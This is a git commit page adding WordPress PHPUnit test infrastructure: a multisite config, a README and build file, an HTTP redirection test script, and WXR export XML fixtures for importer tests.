windhamdavid 10 years ago
parent
commit
01fa18af15
100 changed files with 5951 additions and 0 deletions
  1. 28 0
      multisite.xml
  2. 23 0
      tests/phpunit/README.txt
  3. 15 0
      tests/phpunit/build.xml
  4. 139 0
      tests/phpunit/data/WPHTTP-testcase-redirection-script.php
  5. 46 0
      tests/phpunit/data/export/crazy-cdata-escaped.xml
  6. 46 0
      tests/phpunit/data/export/crazy-cdata.xml
  7. 91 0
      tests/phpunit/data/export/invalid-version-tag.xml
  8. 91 0
      tests/phpunit/data/export/malformed.xml
  9. 90 0
      tests/phpunit/data/export/missing-version-tag.xml
  10. 447 0
      tests/phpunit/data/export/small-export.xml
  11. 69 0
      tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml
  12. 77 0
      tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml
  13. 69 0
      tests/phpunit/data/export/test-utw-post-meta-import.xml
  14. 282 0
      tests/phpunit/data/export/valid-wxr-1.0.xml
  15. 112 0
      tests/phpunit/data/export/valid-wxr-1.1.xml
  16. 51 0
      tests/phpunit/data/formatting/big5.txt
  17. 5 0
      tests/phpunit/data/formatting/cr-line-endings-file-header.php
  18. 255 0
      tests/phpunit/data/formatting/entities.txt
  19. 1 0
      tests/phpunit/data/formatting/remove_accents.01.input.txt
  20. 1445 0
      tests/phpunit/data/formatting/sizzle.js
  21. 15 0
      tests/phpunit/data/formatting/utf-8/README
  22. 24 0
      tests/phpunit/data/formatting/utf-8/entitize.py
  23. 5 0
      tests/phpunit/data/formatting/utf-8/entitized.txt
  24. 24 0
      tests/phpunit/data/formatting/utf-8/u-urlencode.py
  25. 5 0
      tests/phpunit/data/formatting/utf-8/u-urlencoded.txt
  26. 33 0
      tests/phpunit/data/formatting/utf-8/urlencode.py
  27. 5 0
      tests/phpunit/data/formatting/utf-8/urlencoded.txt
  28. 5 0
      tests/phpunit/data/formatting/utf-8/utf-8.txt
  29. 27 0
      tests/phpunit/data/formatting/windows1252.py
  30. 976 0
      tests/phpunit/data/formatting/xssAttacks.xml
  31. BIN
      tests/phpunit/data/images/2004-07-22-DSC_0007.jpg
  32. BIN
      tests/phpunit/data/images/2004-07-22-DSC_0008.jpg
  33. BIN
      tests/phpunit/data/images/2007-06-17DSC_4173.JPG
  34. BIN
      tests/phpunit/data/images/a2-small.jpg
  35. BIN
      tests/phpunit/data/images/canola.jpg
  36. BIN
      tests/phpunit/data/images/gradient-square.jpg
  37. BIN
      tests/phpunit/data/images/test-image-cmyk.jpg
  38. BIN
      tests/phpunit/data/images/test-image-grayscale.jpg
  39. BIN
      tests/phpunit/data/images/test-image-iptc.jpg
  40. BIN
      tests/phpunit/data/images/test-image-lzw.tiff
  41. BIN
      tests/phpunit/data/images/test-image-mime-jpg.png
  42. BIN
      tests/phpunit/data/images/test-image-zip.tiff
  43. BIN
      tests/phpunit/data/images/test-image.bmp
  44. BIN
      tests/phpunit/data/images/test-image.gif
  45. BIN
      tests/phpunit/data/images/test-image.jp2
  46. BIN
      tests/phpunit/data/images/test-image.jpg
  47. BIN
      tests/phpunit/data/images/test-image.pct
  48. BIN
      tests/phpunit/data/images/test-image.png
  49. BIN
      tests/phpunit/data/images/test-image.psd
  50. BIN
      tests/phpunit/data/images/test-image.sgi
  51. BIN
      tests/phpunit/data/images/test-image.tga
  52. BIN
      tests/phpunit/data/images/test-image.tiff
  53. BIN
      tests/phpunit/data/images/transparent.png
  54. BIN
      tests/phpunit/data/images/waffles.jpg
  55. 14 0
      tests/phpunit/data/plugins/hello.php
  56. BIN
      tests/phpunit/data/pomo/bad_nplurals.mo
  57. 18 0
      tests/phpunit/data/pomo/bad_nplurals.po
  58. BIN
      tests/phpunit/data/pomo/context.mo
  59. BIN
      tests/phpunit/data/pomo/de_DE-2.8.mo
  60. 0 0
      tests/phpunit/data/pomo/empty.po
  61. 25 0
      tests/phpunit/data/pomo/mo.pot
  62. BIN
      tests/phpunit/data/pomo/overload.mo
  63. BIN
      tests/phpunit/data/pomo/plural.mo
  64. BIN
      tests/phpunit/data/pomo/simple.mo
  65. 54 0
      tests/phpunit/data/pomo/simple.po
  66. 7 0
      tests/phpunit/data/pomo/windows-line-endings.po
  67. 0 0
      tests/phpunit/data/themedir1/broken-theme/.nodelete
  68. 7 0
      tests/phpunit/data/themedir1/default/functions.php
  69. 7 0
      tests/phpunit/data/themedir1/default/index.php
  70. 17 0
      tests/phpunit/data/themedir1/default/style.css
  71. 3 0
      tests/phpunit/data/themedir1/page-templates/index.php
  72. 11 0
      tests/phpunit/data/themedir1/page-templates/style.css
  73. 5 0
      tests/phpunit/data/themedir1/page-templates/subdir/template-sub-dir.php
  74. 1 0
      tests/phpunit/data/themedir1/page-templates/template-header.php
  75. 5 0
      tests/phpunit/data/themedir1/page-templates/template-top-level.php
  76. 7 0
      tests/phpunit/data/themedir1/sandbox/functions.php
  77. 7 0
      tests/phpunit/data/themedir1/sandbox/index.php
  78. 11 0
      tests/phpunit/data/themedir1/sandbox/style.css
  79. 14 0
      tests/phpunit/data/themedir1/stylesheetonly/style.css
  80. 1 0
      tests/phpunit/data/themedir1/subdir/theme with spaces/index.php
  81. 11 0
      tests/phpunit/data/themedir1/subdir/theme with spaces/style.css
  82. 3 0
      tests/phpunit/data/themedir1/subdir/theme2/functions.php
  83. 3 0
      tests/phpunit/data/themedir1/subdir/theme2/index.php
  84. 11 0
      tests/phpunit/data/themedir1/subdir/theme2/style.css
  85. 7 0
      tests/phpunit/data/themedir1/theme1-dupe/functions.php
  86. 7 0
      tests/phpunit/data/themedir1/theme1-dupe/index.php
  87. 17 0
      tests/phpunit/data/themedir1/theme1-dupe/style.css
  88. 7 0
      tests/phpunit/data/themedir1/theme1/functions.php
  89. 7 0
      tests/phpunit/data/themedir1/theme1/index.php
  90. 17 0
      tests/phpunit/data/themedir1/theme1/style.css
  91. 151 0
      tests/phpunit/includes/bootstrap.php
  92. 33 0
      tests/phpunit/includes/exceptions.php
  93. 350 0
      tests/phpunit/includes/factory.php
  94. 44 0
      tests/phpunit/includes/functions.php
  95. 59 0
      tests/phpunit/includes/install.php
  96. 228 0
      tests/phpunit/includes/mock-fs.php
  97. 43 0
      tests/phpunit/includes/mock-image-editor.php
  98. 26 0
      tests/phpunit/includes/mock-mailer.php
  99. 182 0
      tests/phpunit/includes/testcase-ajax.php
  100. 30 0
      tests/phpunit/includes/testcase-xmlrpc.php

+ 28 - 0
multisite.xml

@@ -0,0 +1,28 @@
+<phpunit
+	bootstrap="includes/bootstrap.php"
+        backupGlobals="false"
+        colors="true"
+        >
+    <php>
+        <const name="WP_TESTS_MULTISITE" value="1" />
+    </php>
+    <testsuites>
+        <!-- Default test suite to run all tests -->
+        <testsuite>
+            <directory suffix=".php">tests</directory>
+            <exclude>tests/phpunit/tests/actions/closures.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor_gd.php</exclude>
+            <exclude>tests/phpunit/tests/image/editor_imagick.php</exclude>
+            <file phpVersion="5.3.0">tests/phpunit/tests/actions/closures.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor_gd.php</file>
+            <file phpVersion="5.3.0">tests/phpunit/tests/image/editor_imagick.php</file>
+        </testsuite>
+    </testsuites>
+    <groups>
+        <exclude>
+            <group>ajax</group>
+        </exclude>
+    </groups>
+</phpunit>

+ 23 - 0
tests/phpunit/README.txt

@@ -0,0 +1,23 @@
+The short version:
+
+1. Create a clean MySQL database and user.  DO NOT USE AN EXISTING DATABASE or you will lose data, guaranteed.
+
+2. Copy wp-tests-config-sample.php to wp-tests-config.php, edit it and include your database name/user/password.
+
+3. $ svn up
+
+4. Run the tests from the "trunk" directory:
+   To execute a particular test:
+      $ phpunit tests/phpunit/tests/test_case.php
+   To execute all tests:
+      $ phpunit
+
+Notes:
+
+Test cases live in the 'tests' subdirectory.  All files in that directory will be included by default.  Extend the WP_UnitTestCase class to ensure your test is run.
+
+phpunit will initialize and install a (more or less) complete running copy of WordPress each time it is run.  This makes it possible to run functional interface and module tests against a fully working database and codebase, as opposed to pure unit tests with mock objects and stubs.  Pure unit tests may be used also, of course.
+
+Changes to the test database will be rolled back as tests are finished, to ensure a clean start next time the tests are run.
+
+phpunit is intended to run at the command line, not via a web server.

+ 15 - 0
tests/phpunit/build.xml

@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="utf-8"?>
+<project name="WordPress Unit Tests" default="build" basedir=".">
+    <target name="clean">
+        <delete dir="build" />
+    </target>
+    <target name="prepare">
+        <mkdir dir="build/logs" />
+        <mkdir dir="build/phpunitreport" />
+    </target>
+    <target name="phpunit">
+        <exec command="phpunit" passthru="true"></exec>
+        <phpunitreport infile="build/logs/junit.xml" format="frames" todir="build/phpunitreport" usesorttable="true" />
+    </target>
+    <target name="build" depends="clean,prepare,phpunit" />
+</project>

+ 139 - 0
tests/phpunit/data/WPHTTP-testcase-redirection-script.php

@@ -0,0 +1,139 @@
+<?php
+
+// Thanks WordPress..
+function is_ssl() {
+	if ( isset($_SERVER['HTTPS']) ) {
+		if ( 'on' == strtolower($_SERVER['HTTPS']) )
+			return true;
+		if ( '1' == $_SERVER['HTTPS'] )
+			return true;
+	} elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) {
+		return true;
+	}
+	return false;
+}
+
+$url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . (!empty($_SERVER['HTTP_POST']) && 80 != $_SERVER['HTTP_POST'] ? ':' . $_SERVER['HTTP_POST'] : '');
+if ( strpos($_SERVER['REQUEST_URI'], '?') )
+	$url .= substr($_SERVER['REQUEST_URI'], 0, strpos($_SERVER['REQUEST_URI'], '?'));
+else
+	$url .= $_SERVER['REQUEST_URI'];
+
+if ( isset($_GET['source']) ) {
+	highlight_file(__FILE__ );
+	exit;
+}
+
+if ( isset($_GET['201-location']) ) {
+	header("HTTP/1.1 201 OK");
+	if ( isset($_GET['fail']) ) {
+		echo "FAIL";
+	} else {
+		header("Location: $url?201-location&fail=true", true, 201);
+		echo "PASS";
+	}
+	exit;
+}
+if ( isset($_GET['header-check']) ) {
+	$out = array();
+	header("Content-type: text/plain");
+	foreach ( $_SERVER as $key => $value ) {
+		if ( stripos($key, 'http') === 0 ) {
+			$key = strtolower(substr($key, 5));
+			echo "$key:$value\n";
+		}
+	}
+	exit;
+}
+if ( isset($_GET['multiple-headers']) ) {
+	header("HeaderName: One", false);
+	header("HeaderName: Two", false);
+	header("HeaderName: Three", false);
+	exit;
+}
+
+if ( isset( $_GET['post-redirect-to-method'] ) ) {
+	$method = $_SERVER['REQUEST_METHOD'];
+	$response_code = isset( $_GET['response_code'] ) ? $_GET['response_code'] : 301;
+
+	if ( 'POST' == $method && ! isset( $_GET['redirection-performed'] ) ) {
+		header( "Location: $url?post-redirect-to-method=1&redirection-performed=1", true, $response_code );
+		exit;
+	}
+
+	echo $method;
+	exit;
+	
+}
+
+if ( isset( $_GET['location-with-200'] ) ) {
+	if ( ! isset( $_GET['redirection-performed'] ) ) {
+		header( "HTTP/1.1 200 OK" );
+		header( "Location: $url?location-with-200=1&redirection-performed", true, 200 );
+		echo 'PASS';
+		exit;
+	}
+	// Redirection was followed
+	echo 'FAIL';
+	exit;
+}
+
+if ( isset( $_GET['print-pass'] ) ) {
+	echo 'PASS';
+	exit;
+}
+
+if ( isset( $_GET['multiple-location-headers'] ) ) {
+	if ( ! isset( $_GET['redirected'] ) ) {
+		header( "Location: $url?multiple-location-headers=1&redirected=one", false );
+		header( "Location: $url?multiple-location-headers=1&redirected=two", false );
+		exit;
+	}
+	if ( 'two' != $_GET['redirected'] )
+		echo 'FAIL';
+	else
+		echo 'PASS';
+	exit;
+}
+
+if ( isset( $_GET['cookie-test'] ) ) {
+	if ( 'test-cookie' != $_GET['cookie-test'] ) {
+		setcookie( 'api_test_cookie', 'value', time() + 365*24*60*60, '/core/tests/1.0/', 'api.wordpress.org' );
+		setcookie( 'api_test_cookie_minimal', 'value'  );
+		setcookie( 'api_test_cookie_wrong_host', 'value', time() + 365*24*60*60, '/', 'example.com' );
+		setcookie( 'api_test_wildcard_domain', 'value', time() + 365*24*60*60, '/', '.wordpress.org' );
+		setcookie( 'api_test_cookie_expired', 'value', time() - 365*24*60*60, '/', '.wordpress.org' );
+		header( "Location: $url?cookie-test=test-cookie" );
+		exit;
+	}
+
+	if ( empty( $_COOKIE['api_test_cookie'] ) || 'value' != $_COOKIE['api_test_cookie'] )
+		die( 'FAIL_NO_COOKIE' );
+	if ( empty( $_COOKIE['api_test_cookie_minimal'] ) )
+		die( 'FAIL_NO_MINIMAL' );
+	if ( isset( $_COOKIE['api_test_cookie_wrong_host'] ) )
+		die( 'FAIL_WRONG_HOST' );
+	if ( empty( $_COOKIE['api_test_wildcard_domain'] ) )
+		die( 'FAIL_NO_WILDCARD' );
+	if ( isset( $_COOKIE['api_test_cookie_expired'] ) )
+		die( 'FAIL_EXPIRED_COOKIE' );
+
+	echo 'PASS';
+	exit;
+}
+
+
+$rt = isset($_GET['rt']) ? $_GET['rt'] : 5;
+$r = isset($_GET['r']) ? $_GET['r'] : 0;
+
+if ( $r < $rt ) {
+	$code = isset($_GET['code']) ? (int)$_GET['code'] : 302;
+	header("Location: $url?rt=" . $rt . "&r=" . ($r+1), true, $code);
+	echo "Redirect $r of $rt";
+	exit;
+}
+echo "Redirect $r of $rt is FINAL.<br/>";
+echo "GET['rt'] = Total times to redirect. Defaults to 5.<br />";
+echo "GET['r'] = Current redirection. Defaults to 0.<br />";
+echo "<a href='$url?source=true'>View Source</a>";
+

+ 46 - 0
tests/phpunit/data/export/crazy-cdata-escaped.xml

@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://wp.dev</wp:base_site_url>
+	<item>
+		<title>Hello world!</title>
+		<link>http://example.org/?p=1</link>
+		<pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://example.org/?p=1</guid>
+		<content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]]]><![CDATA[> :)]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2012-01-05 14:30:46</wp:post_date>
+		<wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>Plain string</wp:meta_key>
+			<wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Closing CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[]]]]><![CDATA[>]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Alot of CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]]]><![CDATA[> closing <![CDATA[ tags like this: ]]]]><![CDATA[>]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>

+ 46 - 0
tests/phpunit/data/export/crazy-cdata.xml

@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<wp:wxr_version>1.1</wp:wxr_version>
+	<wp:base_site_url>http://wp.dev</wp:base_site_url>
+	<item>
+		<title>Hello world!</title>
+		<link>http://example.org/?p=1</link>
+		<pubDate>Thu, 05 Jan 2012 14:30:46 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://example.org/?p=1</guid>
+		<content:encoded><![CDATA[Content with nested <![CDATA[ tags ]]> :)]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2012-01-05 14:30:46</wp:post_date>
+		<wp:post_date_gmt>2012-01-05 14:30:46</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>Plain string</wp:meta_key>
+			<wp:meta_value><![CDATA[Foo]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Closing CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[]]>]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Alot of CDATA</wp:meta_key>
+			<wp:meta_value><![CDATA[This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>

+ 91 - 0
tests/phpunit/data/export/invalid-version-tag.xml

@@ -0,0 +1,91 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your site. -->
+<!-- It contains information about your site's posts, pages, comments, categories, and other content. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- NB: This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress site follow these steps: -->
+<!-- 1. Log in to that site as an administrator. -->
+<!-- 2. Go to Tools: Import in the WordPress admin panel. -->
+<!-- 3. Install the "WordPress" importer from the list. -->
+<!-- 4. Activate & Run Importer. -->
+<!-- 5. Upload this file using the form provided on that page. -->
+<!-- 6. You will first be asked to map the authors in this export file to users -->
+<!--    on the site. For each author, you may choose to map to an -->
+<!--    existing user on the site or to create a new user. -->
+<!-- 7. WordPress will then import each of the posts, pages comments, categories, etc. -->
+<!--    contained in this file into your blog. -->
+
+<!-- generator="WordPress/3.1-alpha" created="2010-10-09 15:12" -->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.1/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.1/"
+>
+<channel>
+	<title>WXR Test Data</title>
+	<link>http://localhost/</link>
+	<description>Blog with sample content for testing</description>
+	<pubDate>Sat, 09 Oct 2010 15:12:29 +0000</pubDate>
+	<language>en</language>
+	<wp:wxr_version>abc</wp:wxr_version>
+	<wp:base_site_url>http://localhost/</wp:base_site_url>
+	<wp:base_blog_url>http://localhost/</wp:base_blog_url>
+	<wp:author><wp:author_login>john</wp:author_login><wp:author_email>johndoe@example.org</wp:author_email><wp:author_display_name><![CDATA[John Doe]]></wp:author_display_name><wp:author_first_name><![CDATA[John]]></wp:author_first_name><wp:author_last_name><![CDATA[Doe]]></wp:author_last_name></wp:author>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>alpha</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[alpha]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>2</wp:term_id><wp:category_nicename>bar</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Bar]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>3</wp:term_id><wp:category_nicename>beta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[beta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>4</wp:term_id><wp:category_nicename>delta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[delta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>5</wp:term_id><wp:category_nicename>epsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[epsilon]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>6</wp:term_id><wp:category_nicename>eta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[eta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>foo</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>8</wp:term_id><wp:category_nicename>foo-bar</wp:category_nicename><wp:category_parent>bar</wp:category_parent><wp:cat_name><![CDATA[Foo]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>9</wp:term_id><wp:category_nicename>gamma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[gamma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>10</wp:term_id><wp:category_nicename>iota</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[iota]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>11</wp:term_id><wp:category_nicename>kappa</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[kappa]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>12</wp:term_id><wp:category_nicename>lambda</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[lambda]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>level-1</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Level 1]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>14</wp:term_id><wp:category_nicename>level-2</wp:category_nicename><wp:category_parent>level-1</wp:category_parent><wp:cat_name><![CDATA[Level 2]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>16</wp:term_id><wp:category_nicename>parent</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[pArEnT]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>17</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[theta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>18</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>19</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>also-level-3</wp:category_nicename><wp:category_parent>level-2</wp:category_parent><wp:cat_name><![CDATA[Also Level 3]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>child</wp:category_nicename><wp:category_parent>parent</wp:category_parent><wp:cat_name><![CDATA[CHILD]]></wp:cat_name></wp:category>
+	<wp:tag><wp:term_id>22</wp:term_id><wp:tag_slug>clippable</wp:tag_slug><wp:tag_name><![CDATA[Clippable]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>23</wp:term_id><wp:tag_slug>deuterogamy</wp:tag_slug><wp:tag_name><![CDATA[Deuterogamy]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>24</wp:term_id><wp:tag_slug>entablement</wp:tag_slug><wp:tag_name><![CDATA[Entablement]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>25</wp:term_id><wp:tag_slug>intermembral</wp:tag_slug><wp:tag_name><![CDATA[Intermembral]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>26</wp:term_id><wp:tag_slug>masticatory</wp:tag_slug><wp:tag_name><![CDATA[Masticatory]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>27</wp:term_id><wp:tag_slug>obligato</wp:tag_slug><wp:tag_name><![CDATA[Obligato]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>28</wp:term_id><wp:tag_slug>occultation</wp:tag_slug><wp:tag_name><![CDATA[Occultation]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>29</wp:term_id><wp:tag_slug>onion</wp:tag_slug><wp:tag_name><![CDATA[Onion]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>30</wp:term_id><wp:tag_slug>pontonier</wp:tag_slug><wp:tag_name><![CDATA[Pontonier]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>31</wp:term_id><wp:tag_slug>rooftree</wp:tag_slug><wp:tag_name><![CDATA[Rooftree]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>32</wp:term_id><wp:tag_slug>saccule</wp:tag_slug><wp:tag_name><![CDATA[Saccule]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>salpa</wp:tag_slug><wp:tag_name><![CDATA[Salpa]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag-1</wp:tag_slug><wp:tag_name><![CDATA[tag 1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag-2</wp:tag_slug><wp:tag_name><![CDATA[tag 2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>36</wp:term_id><wp:tag_slug>tag-3</wp:tag_slug><wp:tag_name><![CDATA[tag 3]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>37</wp:term_id><wp:tag_slug>tag-4</wp:tag_slug><wp:tag_name><![CDATA[tag 4]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>38</wp:term_id><wp:tag_slug>tag-5</wp:tag_slug><wp:tag_name><![CDATA[tag 5]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>39</wp:term_id><wp:tag_slug>tentage</wp:tag_slug><wp:tag_name><![CDATA[Tentage]]></wp:tag_name></wp:tag>
+	<wp:term><wp:term_id>40</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>bieup</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[bieup]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>41</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>blah</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[blah]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>42</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>digeut</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[digeut]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>43</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>giyeok</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[giyeok]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>44</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>halb</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[halb]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>45</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>mieum</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[mieum]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>46</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>nieun</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[nieun]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>47</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>parent-2</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[Parent]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>48</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>rieul</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[rieul]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>49</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>siot</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[siot]]></wp:term_name></wp:term>
+	<wp:term><wp:term_id>50</wp:term_id><wp:term_taxonomy>post_tax</wp:term_taxonomy><wp:term_slug>tax-1</wp:term_slug><wp:term_parent></wp:term_parent><wp:term_name><![CDATA[TAX 1]]></wp:term_name></wp:term>
